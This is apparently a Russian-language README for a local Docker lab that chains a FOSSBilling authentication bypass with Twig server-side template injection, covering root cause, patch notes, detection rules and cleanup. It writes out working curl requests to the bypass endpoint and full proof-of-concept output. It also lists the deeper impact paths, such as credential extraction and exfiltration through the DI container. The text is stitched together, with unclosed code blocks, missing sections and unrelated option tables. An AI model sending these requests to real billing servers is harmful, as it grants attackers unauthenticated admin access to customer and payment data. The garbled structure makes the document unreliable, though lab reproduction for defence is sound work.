Пропатченная цель (0.8.0) возвращает:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

Этот лабораторный пример демонстрирует цепочку с использованием безопасного арифметического доказательства `{{ 7*7 }}`. Полный путь RCE через `getDi()` не демонстрируется.

## Проверенные факты

| Утверждение | Доказательство | Как проверить |
| ----- | -------- | ------------- |
| CVE-2026-27604 — это обход аутентификации в обработке ролей API FOSSBilling. | GHSA-78x5-c8gw-8279: отсутствующий throw в проверке ролей позволяет /api/system/ разрешаться как admin. | Запустите PoC: путь guest отклоняется, путь system возвращает результат admin. |
| CVE-2026-28496 — это SSTI в рендеринге Twig в FOSSBilling. | GHSA-57mv-jm88-66jc: string_render передаёт _tpl в Twig createTemplate() без песочницы. | Запустите PoC: сервер вычисляет {{ 7*7 }} и возвращает 49. |
| Обе уязвимости затрагивают FOSSBilling с 0.5.4 по 0.7.2. | Публичные рекомендации определяют диапазон уязвимых версий. | Сравните уязвимую (0.7.2) и исправленную (0.8.0) цели. |
| FOSSBilling 0.8.0 исправляет обе уязвимости. | Исправленная цель возвращает "Unknown API call" для тестируемой конечной точки. | Запустите PoC против порта 8082. |
| Обход аутентификации даёт неаутентифицированный доступ администратора. | /api/guest/ отклоняет string_render; /api/system/ возвращает результат без аутентификации. | Запустите этап 1 PoC. |
| SSTI вычисляет контролируемые злоумышленником шаблоны. | {{ 7*7 }} возвращает 49 через уязвимый путь. | Запустите этап 2 PoC. |
| Цепочка обеспечивает Pre-Auth RCE. | Обход аутентификации + SSTI = неаутентифицированная инъекция шаблонов с контекстом администратора. | Запустите PoC полной цепочки. |
| PoC использует только HTTP. | poc.py отправляет только HTTP POST-запросы. | Изучите poc/poc.py. |

## Анализ первопричины

### CVE-2026-27604: обход аутентификации

API FOSSBilling определяет роли из пути URL:```text
/api/:role/:module/:method

Поскольку исключение никогда не выбрасывается, проверка проходит незаметно. Роль `system` сопоставляется с идентификатором администратора cron, предоставляя полный доступ к admin API любому неаутентифицированному вызывающему.

Влияние на безопасность:```text
/api/guest/system/string_render  → denied (guest role, no admin access)
/api/admin/system/string_render  → requires authentication
/api/system/system/string_render → admin access WITHOUT authentication (bypass)

$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;

$vars = $data;
unset($vars['_tpl'], $vars['_try']);

return $this->getService()->renderString($tpl, $try_render, $vars);

Метод `renderString()` передаёт управление `createTemplateFromString()`:```php
public function createTemplateFromString($tpl, $try_render, $vars)
{
    try {
        $twig = $this->di['twig'];
        $template = $twig->createTemplate($tpl);
        $parsed = $template->render($vars);
    } catch (\Exception $e) {
        $parsed = $tpl;

        if (!$try_render) {
            throw $e;
        }
    }

    return $parsed;
}

## Сводка исправлений в исходном коде

FOSSBilling 0.8.0 устраняет обе уязвимости:

**Исправление обхода аутентификации (CVE-2026-27604):**
Проверка ролей теперь корректно выбрасывает исключение для запрещённых ролей.

**Исправление SSTI (CVE-2026-28496):**
Рендеринг шаблонов выполняется через изолированный рендерер:```php
$rendered = SandboxedStringRenderer::render(
    $twig,
    $tpl,
    $vars,
    $errorMessage
);

Для публичного пути API, протестированного в этой лабораторной работе, FOSSBilling 0.8.0 вообще не предоставляет доступ к протестированной конечной точке:```json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}

## Архитектура лаборатории```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── scripts/
│   └── auto-install.sh
├── README.md
└── .gitignore

Установочные sidecar-контейнеры запускаются автоматически во время `docker compose up`. Они инициализируют обе цели FOSSBilling с локальными одноразовыми учётными данными, а затем завершают работу.

## Требования

* Docker Desktop или Docker Engine
* Docker Compose v2
* Python 3
* Доступ в интернет при первой загрузке Docker-образа

Сторонние пакеты Python не требуются. PoC использует только модули стандартной библиотеки Python.

## Быстрый старт

Запустите лабораторию с чистого состояния:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Ожидаемые запущенные сервисы:```text
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db

Проверьте логи установщика:```bash
docker compose logs installer-vuln installer-patched

Запустите проверку цепочки для пропатченной цели:```bash
python3 poc/poc.py --url http://localhost:8082

Примеры:```bash
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082

**Этап 2 — SSTI (CVE-2026-28496):**
Подтверждает серверную оценку шаблона через обойдённую конечную точку администратора.```text
[2] POST /api/system/system/string_render
    body={"_tpl":"{{ 7*7 }}"}
    → result="49" (template evaluated)

| `--no-color` | Отключить цветной вывод |
| `--debug` | Включить режим отладки |
| `--verbose` | Включить подробный вывод |
| `--silent` | Подавить весь вывод, кроме ошибок |
| `--json` | Выводить результаты в формате JSON |
| `--csv` | Выводить результаты в формате CSV |
| `--output <file>` | Записать вывод в указанный файл |
| `--config <file>` | Использовать указанный файл конфигурации |
| `--timeout <seconds>` | Установить тайм-аут для операций |
| `--retry <count>` | Указать количество повторных попыток |
| `--threads <count>` | Установить количество потоков |
| `--rate-limit <n>` | Ограничить количество запросов в секунду |
| `--proxy <url>` | Использовать указанный прокси |
| `--user-agent <string>` | Установить пользовательский User-Agent |
| `--header <header>` | Добавить пользовательский заголовок |
| `--cookie <cookie>` | Добавить пользовательскую cookie |
| `--follow-redirects` | Следовать перенаправлениям |
| `--insecure` | Игнорировать ошибки SSL/TLS |
| `--random-agent` | Использовать случайный User-Agent |
| `--tor` | Маршрутизировать трафик через Tor |
| `--check-tor` | Проверить, используется ли Tor |
| `--update` | Обновить инструмент |
| `--version` | Показать информацию о версии |
| `--help` | Показать справку |```text
============================================================
  CVE-2026-27604 + CVE-2026-28496 Chain Validation PoC
  FOSSBilling Pre-Auth RCE: Auth Bypass + Twig SSTI
============================================================
  Scope:  authorized local lab target only
  Target: http://localhost:8081

============================================================
STAGE 1: Auth Bypass (CVE-2026-27604)
============================================================

  [1a] Guest role: POST /api/guest/system/string_render
       status=400
       error={'message': '...', 'code': ...}
       → Denied (expected — guest has no admin access)

  [1b] System role (bypass): POST /api/system/system/string_render
       status=200
       result=49
       → Admin method returned result WITHOUT authentication

  VERDICT: VULNERABLE — /api/guest/ denied, /api/system/ bypasses auth
           CVE-2026-27604 CONFIRMED

============================================================
STAGE 2: SSTI (CVE-2026-28496)
============================================================

  [2] POST /api/system/system/string_render
      body={"_tpl": "{{ 7*7 }}"}
      status=200
      response={"result":"49","error":null}

  VERDICT: VULNERABLE — server evaluated {{ 7*7 }} → 49
           CVE-2026-28496 CONFIRMED

============================================================
STAGE 3: Chain Assessment
============================================================

  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  CONFIRMED
  CVE-2026-28496  SSTI         CVSS v4: 9.4   CONFIRMED

  CHAIN RESULT: Pre-Auth RCE path CONFIRMED

| `--config` | Путь к файлу конфигурации |
| `--verbose` | Включить подробное ведение журнала |
| `--output` | Путь к выходному файлу |```text
  CVE-2026-27604  Auth Bypass  CVSS v4: 10.0  NOT PRESENT
  CVE-2026-28496  SSTI         CVSS v4: 9.4   NOT PRESENT

  CHAIN RESULT: PATCHED — neither vulnerability is present
  Target appears to be FOSSBilling >= 0.8.0

Системный путь (обходит аутентификацию):```bash
curl -i -X POST \
  'http://127.0.0.1:8081/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

### Сравнение исправленных версий```bash
curl -i -X POST \
  'http://127.0.0.1:8082/api/system/system/string_render' \
  -H 'Content-Type: application/json' \
  --data '{"_tpl":"{{ 7*7 }}"}'

## Влияние

Цепочка позволяет выполнять неаутентифицированное удалённое выполнение кода в FOSSBilling — платформе для биллинга и управления клиентами, которая может хранить:

* Записи о клиентах и персональные данные
* Данные биллинга и конфигурацию платежей
* Учётные данные серверов и API-токены
* Учётные записи и сессии администраторов

Продемонстрированная в лаборатории полезная нагрузка безвредна (`{{ 7*7 }}`). Реальная цепочка воздействия через `getDi()` и DI-контейнер включает:

* Выполнение SQL через PDO (извлечение учётных данных, эксфильтрация данных)
* Доступ к более чем 40 сервисам приложения
* Доступ к менеджеру расширений (выполнение кода)
* Изменение состояния приложения
* Полную компрометацию сервера при объединении с путями записи файлов или выполнения команд

Одного неаутентифицированного HTTP POST достаточно для достижения DI-контейнера. Данный PoC не демонстрирует этот путь.

## Обнаружение и мониторинг

Подозрительные шаблоны запросов:```text
POST /api/system/system/string_render
POST /api/system/*  (any admin method via system role)

Правила обнаружения с высоким уровнем сигнала:```text
Rule 1: POST to /api/system/ from unauthenticated source
Rule 2: POST to /api/system/system/string_render with _tpl containing {{ }}
Rule 3: Response contains "result" with rendered template output

## Очистка```bash
# Stop containers
docker compose down --remove-orphans

# Stop containers and remove volumes
docker compose down -v --remove-orphans

# Remove evidence files
rm -rf evidence/

Лаборатория не демонстрирует:

* Удалённое выполнение команд через getDi()
* Извлечение учётных данных через PDO
* Дамп базы данных
* Установку расширений
* Загрузку веб-шелла
* Закрепление или боковое перемещение
* Внешние обратные вызовы
* Атаки на системы, не входящие в лабораторию

## Ссылки

* **CVE-2026-27604** — обход аутентификации в FOSSBilling
  https://www.cve.org/CVERecord?id=CVE-2026-27604

* **CVE-2026-28496** — SSTI в FOSSBilling
  https://www.cve.org/CVERecord?id=CVE-2026-28496

* **GHSA-78x5-c8gw-8279** — рекомендация по обходу аутентификации
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-78x5-c8gw-8279

* **GHSA-57mv-jm88-66jc** — рекомендация по SSTI
  https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc

* **NVD — CVE-2026-27604**
  https://nvd.nist.gov/vuln/detail/CVE-2026-27604

* **NVD — CVE-2026-28496**
  https://nvd.nist.gov/vuln/detail/CVE-2026-28496

* **VulnCheck** — обход аутентификации в FOSSBilling и Twig SSTI до неаутентифицированного RCE
  https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce

* **Репозиторий FOSSBilling на GitHub**
  https://github.com/FOSSBilling/FOSSBilling

* **Docker-образ FOSSBilling**
  https://hub.docker.com/r/fossbilling/fossbilling

* **Документация Twig — расширение Sandbox**
  https://twig.symfony.com/doc/3.x/sandbox.html